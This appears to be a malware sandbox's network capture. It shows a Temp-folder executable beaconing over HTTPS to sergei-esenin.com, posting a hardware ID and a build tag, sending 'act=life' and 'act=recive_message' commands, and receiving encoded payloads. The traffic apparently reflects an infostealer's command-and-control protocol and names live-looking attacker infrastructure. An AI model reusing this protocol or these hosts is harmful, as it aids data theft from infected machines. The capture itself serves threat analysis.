2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 72 79 7a 4a 58 6a 77 75 7a 61 49 6a 6e 6e 56 74 76 67 67 68 70 4c 45 37 64 74 2b 63 41 32 74 47 32 38 64 2f 61 6a 4c 48 4a 4c 54 6c 61 65 35 4b 4d 43 76 4a 35 6a 54 54 62 43 6d 39 41 32 54 2f 2f 54 78 2f 32 5a 4d 4e 5a 45 7a 58 7a 6a 55 68 63 73 73 2f 2b 37 6b 76 79 31 34 7a 4c 4d 32 6e 4c 5a 68 2f 59 72 77 43 4a 36 47 37 63 44 2b 63 6c 42 38 69 45 4a 4c 6f 4a 43 6c 2b 78 33 7a 72 38 7a 43 50 56 6a 39 6e 6e 4f 59 67 6b 58 46 75 75 67 49 6e 72 37 67 30 65 39 6d 54 44 33 42 41 30 73 38 74 4e 6e 4c 4a 4f 66 69 2b 4b 63 74 58 4f 69 48 48 6f 6d 76 54 4e 57 36 69 54 33 7a 6e 6b 44 78 32 39 5a 51 63 49 6c 65 63 30 58 38 6a 66 6f 42 6b 74 4c 77 69 78 56 34 2b 4a 4d 4b 6c 49 4a 68 2f 61 4c 30 48 4b 62 57 2b 50 33 37 59 6b 77 68 6b 54 74 50 48 4f 53 4e 37 77 54 54 Data Ascii: ryzJXjwuzaIjnnVtvgghpLE7dt+cA2tG28d/ajLHJLTlae5KMCvJ5jTTbCm9A2T//Tx/2ZMNZEzXzjUhcss/+7kvy14zLM2nLZh/YrwCJ6G7cD+clB8iEJLoJCl+x3zr8zCPVj9nnOYgkXFuugInr7g0e9mTD3BA0s8tNnLJOfi+KctXOiHHomvTNW6iT3znkDx29ZQcIlec0X8jfoBktLwixV4+JMKlIJh/aL0HKbW+P37YkwhkTtPHOSN7wTT
2024-10-21 08:47:32 UTC	382	IN	Data Raw: 57 38 55 4d 63 36 68 4f 35 70 69 5a 76 70 42 5a 4b 6a 39 61 45 69 63 6d 67 42 35 57 63 54 46 4c 79 4d 79 2f 33 4b 30 70 57 6d 58 45 51 59 6b 79 71 67 73 69 32 51 6b 6e 52 6b 75 6f 4b 30 33 5a 74 50 54 53 53 4a 4f 6b 70 42 73 61 6a 4c 45 4c 62 54 6c 65 5a 30 4b 5a 6e 53 54 39 6e 6d 43 4f 33 44 36 47 57 54 2f 37 33 34 78 7a 74 4e 66 49 67 2f 52 32 69 30 69 63 64 59 2f 73 34 4d 58 36 45 73 2b 49 64 4f 33 46 61 4e 79 63 37 63 4a 4d 37 62 78 4a 58 4c 53 6e 51 42 30 43 4a 79 49 4d 47 51 71 2b 58 79 38 2f 52 61 42 45 53 74 6e 6e 4f 59 65 6e 6e 74 6e 76 52 6b 31 36 70 6f 71 66 4e 71 45 46 69 49 47 6b 73 35 2f 66 43 4b 4f 66 50 43 73 61 5a 63 42 59 58 79 52 39 58 7a 4e 4a 33 62 30 46 6d 53 78 2f 57 67 6a 6b 74 4d 56 49 68 43 53 6a 7a 77 32 59 4d 59 2f 34 72 35 75 Data Ascii: W8UMc6hO5piZvpBZKj9aEicmgB5WcTFLyMy/3K0pWmXEQYkyqgsi2QknRkuoK03ZtPTSSJOkpBsajLELbTleZ0KZnST9nmCO3D6GWT/734xztNfIg/R2i0icdY/s4MX6Es+IdO3FaNyc7cJM7bxJXLSnQB0CJyIMGQq+Xy8/RaBEStnnOYenntnvRk16poqfNqEFiIGks5/fCKOfPCsaZcBYXyR9XzNJ3b0FmSx/WgjktMVIhCSjzw2YMY/4r5u
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 31 30 32 62 0d 0a 6f 4d 71 32 56 77 38 4c 4d 57 59 46 62 4e 34 61 4c 6b 42 5a 70 61 72 50 57 48 66 6c 67 42 63 64 74 7a 50 4b 79 4e 38 78 6a 79 30 38 32 6e 41 45 57 73 65 68 4f 35 72 6f 6a 73 70 6f 6b 39 38 35 34 67 7a 66 39 4b 55 45 58 4d 46 38 64 34 79 4b 33 6e 42 66 4c 72 39 4c 34 38 4a 59 32 6d 45 6f 6a 72 64 4c 54 6e 6f 56 48 48 30 36 6d 41 6a 77 39 30 65 49 6c 36 53 6b 47 31 71 4d 74 4a 38 72 50 31 75 77 56 77 79 4a 4d 71 6c 4f 59 39 7a 61 71 77 4d 59 35 6d 44 45 58 7a 58 6e 77 70 74 51 2b 7a 32 48 69 6c 35 7a 44 48 37 74 68 66 78 52 44 41 70 79 71 45 39 6a 44 55 6e 2b 67 42 6b 2f 34 52 77 4f 5a 79 73 53 53 4a 51 6b 70 42 2f 45 58 48 4f 4d 76 4f 72 4f 49 4a 77 50 69 7a 49 71 79 53 57 4e 53 66 36 43 57 54 2f 37 58 34 78 32 49 4a 48 4f 68 69 41 6b 32 Data Ascii: 102boMq2Vw8LMWYFbN4aLkBZparPWHflgBcdtzPKyN8xjy082nAEWsehO5rojspok9854gzf9KUEXMF8d4yK3nBfLr9L48JY2mEojrdLTnoVHH06mAjw90eIl6SkG1qMtJ8rP1uwVwyJMqlOY9zaqwMY5mDEXzXnwptQ+z2Hil5zDH7thfxRDApyqE9jDUn+gBk/4RwOZysSSJQkpB/EXHOMvOrOIJwPizIqySWNSf6CWT/7X4x2IJHOhiAk2
2024-10-21 08:47:32 UTC	1369	IN	Data Raw: 4d 50 4b 36 4d 38 68 58 46 51 65 45 36 47 75 53 4e 54 47 44 54 32 7a 6e 67 6e 34 78 78 4e 4e 66 49 6e 33 52 78 6a 45 6a 5a 4e 46 78 30 61 6f 71 33 31 63 77 5a 34 72 6d 4c 64 30 74 4f 66 52 50 49 4c 62 39 61 43 47 4f 79 46 49 78 48 34 4b 61 49 47 70 72 67 43 71 30 35 58 75 42 45 53 46 6e 6e 4f 5a 73 6e 6d 64 37 76 41 77 79 70 50 6f 4f 54 2f 71 51 46 6d 68 70 33 39 67 34 47 6b 7a 56 50 2f 71 7a 4c 74 6c 41 63 32 6d 45 71 57 76 46 54 43 6e 79 51 79 4b 6b 71 33 42 4f 6b 74 4d 66 49 68 43 53 2f 54 77 71 66 4d 63 71 35 66 41 50 7a 45 41 35 42 73 6d 32 4c 4e 30 37 4b 62 78 50 66 50 54 7a 63 48 58 4e 30 31 38 79 47 6f 6d 64 62 48 4d 69 6b 69 4f 36 70 47 6e 5a 45 57 74 31 69 75 59 35 33 53 30 70 2f 51 77 32 74 62 73 7a 5a 39 2f 55 4f 56 78 39 30 63 59 78 49 32 54 Data Ascii: MPK6M8hXFQeE6GuSNTGDT2zngn4xxNNfIn3RxjEjZNFx0aoq31cwZ4rmLd0tOfRPILb9aCGOyFIxH4KaIGprgCq05XuBESFnnOZsnmd7vAwypPoOT/qQFmhp39g4GkzVP/qzLtlAc2mEqWvFTCnyQyKkq3BOktMfIhCS/TwqfMcq5fAPzEA5Bsm2LN07KbxPfPTzcHXN018yGomdbHMikiO6pGnZEWt1iuY53S0p/Qw2tbszZ9/UOVx90cYxI2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50004	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:31 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1304 Host: sergei-esenin.com
2024-10-21 08:47:31 UTC	1304	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:32 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkmg1ui8i1qa35abbc9qdosdj7; expires=Fri, 14 Feb 2025 02:34:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nv0KZIYg78nKB8275YA9Uo7QOt84cfrwPReKXW2g5bCdoait1%2FvmPksxMf%2BCaeXu85p0HLKZzPzsKpilvP40no9lfQCUTwqWbynHoARPf7tI5nnDRx8wlIQcXT%2F7QzKIS6myUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbc05e406c81-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2311&delivery_rate=2431570&cwnd=251&unsent_bytes=0&cid=c8894592cc8964cd&ts=558&x=0"
2024-10-21 08:47:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50011	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:33 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:47:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:47:33 UTC	568	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:47:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7bpS8KZNDIQ5YrkIBuKdSsKrDw5Fg%2FMX7bnuI09yYGpRI7pcZ93kx%2FGd7jle4mh1h7Rt0CM9%2FQCt%2FkRVf4nZhzD0Ygu684j%2FXJYI1G5vm%2BgO5WiP8Ckh7D847e3Pm2IEe%2BuUdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbc7cba22e2d-DFW
2024-10-21 08:47:33 UTC	801	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:47:33 UTC	1369	IN	Data Raw: 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 Data Ascii: "/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.get
2024-10-21 08:47:33 UTC	1369	IN	Data Raw: 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: ng/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:47:33 UTC	905	IN	Data Raw: 2e 32 34 31 2e 31 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f Data Ascii: .241.186</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-erro
2024-10-21 08:47:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50023	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:34 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:47:34 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-21 08:47:34 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q5bt9b6v0kru74tkl2jrcskfn6; expires=Fri, 14 Feb 2025 02:34:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1w5eXlxeHwiJeheBH66zJB8%2Bzg2jYkmKeOCuH3azPy%2FAm23f7qEyPopG956bFbtttwr5LOXOV%2BPcgkHMG6DT56ERXjI8XpPES2apbDy6mAfyXJkEC0ezF4%2FRs8KXW0kt24LvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbd009442cd5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1370&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2126284&cwnd=251&unsent_bytes=0&cid=b8cfb4fe6aeaee43&ts=623&x=0"
2024-10-21 08:47:34 UTC	351	IN	Data Raw: 34 65 33 0d 0a 43 45 77 50 33 6b 2f 75 58 64 66 69 69 52 70 2f 35 59 78 51 65 66 6e 6b 2f 42 61 34 7a 4c 68 77 4a 33 36 51 4c 7a 2f 31 5a 71 39 7a 62 6e 6e 38 64 64 70 78 39 5a 48 73 4f 45 57 52 2f 69 55 63 31 63 61 64 63 70 72 32 33 68 46 4c 44 66 55 44 48 59 4d 4c 6a 54 49 71 62 72 49 38 69 33 48 31 68 2f 45 34 52 62 37 33 63 68 79 58 78 73 59 30 33 61 62 61 45 55 73 63 38 55 52 51 68 51 72 4d 59 43 42 6f 74 69 71 4e 4f 62 61 4f 35 48 38 61 67 4f 30 36 46 35 43 4a 6c 48 75 61 34 4a 6f 56 58 56 79 71 44 58 4b 51 45 73 35 46 4c 58 79 31 62 5a 4e 78 72 4d 44 73 64 46 33 66 72 6a 45 63 6d 34 69 61 63 74 4f 6b 30 42 68 44 48 66 52 46 54 35 77 41 78 32 41 75 61 37 63 67 68 43 32 37 68 4f 4e 30 48 49 72 74 63 6c 58 62 67 59 59 30 67 75 36 4a 49 45 59 4e 34 31 Data Ascii: 4e3CEwP3k/uXdfiiRp/5YxQefnk/Ba4zLhwJ36QLz/1Zq9zbnn8ddpx9ZHsOEWR/iUc1cadcpr23hFLDfUDHYMLjTIqbrI8i3H1h/E4Rb73chyXxsY03abaEUsc8URQhQrMYCBotiqNObaO5H8agO06F5CJlHua4JoVXVyqDXKQEs5FLXy1bZNxrMDsdF3frjEcm4iactOk0BhDHfRFT5wAx2Aua7cghC27hON0HIrtclXbgYY0gu6JIEYN41
2024-10-21 08:47:34 UTC	907	IN	Data Raw: 49 73 67 54 2b 6e 69 4f 42 7a 47 4a 58 6c 4f 78 61 57 68 70 4e 2b 31 61 33 61 46 55 38 57 2f 55 64 5a 6d 67 6e 4c 61 69 34 74 38 6d 32 4c 4a 2f 58 59 71 31 73 59 6c 2b 6b 2b 44 64 6d 38 33 6d 75 55 74 35 6f 56 53 56 79 71 44 56 57 53 42 38 35 68 49 57 36 30 4a 70 34 2f 70 34 62 6d 66 51 2b 42 36 7a 77 52 6d 4a 53 55 65 74 79 74 30 78 6c 4d 47 66 56 4a 48 64 6c 45 79 6e 4a 75 4e 66 77 4d 67 54 53 35 69 76 78 34 58 5a 69 67 4b 31 75 63 69 74 34 73 6d 71 72 62 46 6b 51 59 2f 45 4e 5a 6d 77 4c 44 5a 79 46 72 74 69 32 4c 4e 62 32 49 36 6e 55 57 69 4f 34 33 46 70 2b 41 6b 6e 58 66 37 70 52 53 51 67 53 79 46 52 32 35 41 38 35 34 62 46 69 2f 49 34 49 34 6f 38 44 30 4e 67 54 48 36 54 35 62 77 38 61 51 63 64 57 38 32 77 42 41 45 75 42 42 57 4a 45 4a 7a 6d 51 75 61 Data Ascii: IsgT+niOBzGJXlOxaWhpN+1a3aFU8W/UdZmgnLai4t8m2LJ/XYq1sYl+k+Ddm83muUt5oVSVyqDVWSB85hIW60Jp4/p4bmfQ+B6zwRmJSUetyt0xlMGfVJHdlEynJuNfwMgTS5ivx4XZigK1ucit4smqrbFkQY/ENZmwLDZyFrti2LNb2I6nUWiO43Fp+AknXf7pRSQgSyFR25A854bFi/I4I4o8D0NgTH6T5bw8aQcdW82wBAEuBBWJEJzmQua
2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 31 38 61 35 0d 0a 71 46 34 76 67 49 42 61 52 67 35 42 34 33 36 48 61 45 30 51 53 2b 45 59 64 32 55 54 4b 63 6d 34 31 2f 41 4b 42 4c 36 65 4b 34 47 6c 66 73 75 30 38 46 5a 79 51 33 6d 75 55 74 35 6f 56 53 56 79 71 44 56 61 52 43 4d 46 71 4b 48 2b 79 49 70 34 31 70 34 54 6c 66 42 47 4a 35 7a 38 55 6e 70 53 61 64 4d 69 76 33 78 56 4c 45 65 42 49 48 64 6c 45 79 6e 4a 75 4e 66 77 58 75 44 69 6c 6b 65 77 36 4b 49 54 67 50 42 79 4e 78 6f 45 36 77 2b 37 64 48 67 56 45 73 6b 35 52 6d 67 33 49 5a 54 78 6e 73 43 79 65 4f 4c 79 4a 34 58 6b 54 69 4f 55 2b 48 6f 6d 4e 6b 58 7a 56 72 39 63 66 54 68 6a 79 44 52 50 58 41 39 55 71 64 69 32 64 49 49 4d 74 74 70 47 70 54 52 36 4a 34 44 55 4e 32 35 6e 51 62 5a 71 70 31 6c 49 64 58 50 4e 42 55 5a 59 4c 79 32 41 6d 62 72 30 2f Data Ascii: 18a5qF4vgIBaRg5B436HaE0QS+EYd2UTKcm41/AKBL6eK4Glfsu08FZyQ3muUt5oVSVyqDVaRCMFqKH+yIp41p4TlfBGJ5z8UnpSadMiv3xVLEeBIHdlEynJuNfwXuDilkew6KITgPByNxoE6w+7dHgVEsk5Rmg3IZTxnsCyeOLyJ4XkTiOU+HomNkXzVr9cfThjyDRPXA9Uqdi2dIIMttpGpTR6J4DUN25nQbZqp1lIdXPNBUZYLy2Ambr0/
2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 33 67 64 68 4f 4f 34 6a 6f 58 6e 4a 53 54 63 64 4b 6b 30 78 64 4a 45 66 46 66 58 70 5a 45 67 79 6f 70 64 66 78 31 7a 42 69 47 74 38 67 34 41 73 6e 33 63 68 79 58 78 73 59 30 32 36 62 64 48 45 45 4f 2f 46 39 54 6b 41 54 4c 59 69 5a 71 73 43 4f 43 4c 62 32 42 36 33 59 53 6a 2b 63 32 47 70 2b 43 6b 6e 4f 61 34 4a 6f 56 58 56 79 71 44 58 57 55 48 74 63 6f 41 47 61 38 4b 70 77 70 72 73 44 30 4e 67 54 48 36 54 35 62 77 38 61 61 66 39 43 6e 32 52 74 42 45 66 4a 45 55 70 34 4d 77 47 49 38 62 4c 59 2f 69 44 71 30 6a 2b 46 38 46 59 76 68 50 68 2b 4a 6a 64 34 36 6d 71 6e 43 55 68 31 63 30 6b 5a 4c 74 42 62 66 4b 6a 45 6a 70 57 32 4c 4d 2f 58 59 71 33 45 52 68 75 38 34 48 5a 43 44 6b 33 54 66 70 4e 30 65 52 52 7a 78 53 31 75 61 44 4d 56 6d 49 6d 36 78 4b 49 67 74 70 Data Ascii: 3gdhOO4joXnJSTcdKk0xdJEfFfXpZEgyopdfx1zBiGt8g4Asn3chyXxsY026bdHEEO/F9TkATLYiZqsCOCLb2B63YSj+c2Gp+CknOa4JoVXVyqDXWUHtcoAGa8KpwprsD0NgTH6T5bw8aaf9Cn2RtBEfJEUp4MwGI8bLY/iDq0j+F8FYvhPh+Jjd46mqnCUh1c0kZLtBbfKjEjpW2LM/XYq3ERhu84HZCDk3TfpN0eRRzxS1uaDMVmIm6xKIgtp
2024-10-21 08:47:34 UTC	1369	IN	Data Raw: 62 69 2b 4e 79 56 64 75 42 68 6a 53 43 37 76 30 49 53 42 72 6c 58 47 69 51 42 4a 77 71 4d 53 4f 6c 62 59 73 7a 39 64 69 72 64 52 47 4e 34 7a 63 66 6b 34 47 64 64 64 61 71 31 78 39 42 46 66 5a 49 54 34 55 43 77 32 6f 68 59 37 4d 68 6e 6a 47 77 67 4f 63 34 55 38 66 70 4b 6c 76 44 78 71 39 6a 32 75 37 46 58 46 78 63 39 55 45 64 7a 30 54 43 5a 7a 78 68 73 79 32 4e 50 4c 47 4c 37 48 34 62 68 75 30 33 47 4a 36 41 6e 33 54 57 70 4e 30 61 54 78 4c 2f 53 31 6d 52 41 6f 30 6b 62 6d 71 6b 62 64 52 2f 68 34 33 6c 63 52 36 42 34 79 51 7a 71 73 61 42 4f 73 50 75 33 52 34 46 52 4c 4a 4a 56 70 38 49 79 47 49 72 62 4c 51 6e 68 44 43 36 6b 75 70 33 46 49 44 6c 50 78 53 56 67 35 42 6d 33 61 58 52 47 6b 77 53 39 41 30 54 31 77 50 56 4b 6e 59 74 69 69 36 43 4e 4b 53 50 36 48 Data Ascii: bi+NyVduBhjSC7v0ISBrlXGiQBJwqMSOlbYsz9dirdRGN4zcfk4Gdddaq1x9BFfZIT4UCw2ohY7MhnjGwgOc4U8fpKlvDxq9j2u7FXFxc9UEdz0TCZzxhsy2NPLGL7H4bhu03GJ6An3TWpN0aTxL/S1mRAo0kbmqkbdR/h43lcR6B4yQzqsaBOsPu3R4FRLJJVp8IyGIrbLQnhDC6kup3FIDlPxSVg5Bm3aXRGkwS9A0T1wPVKnYtii6CNKSP6H
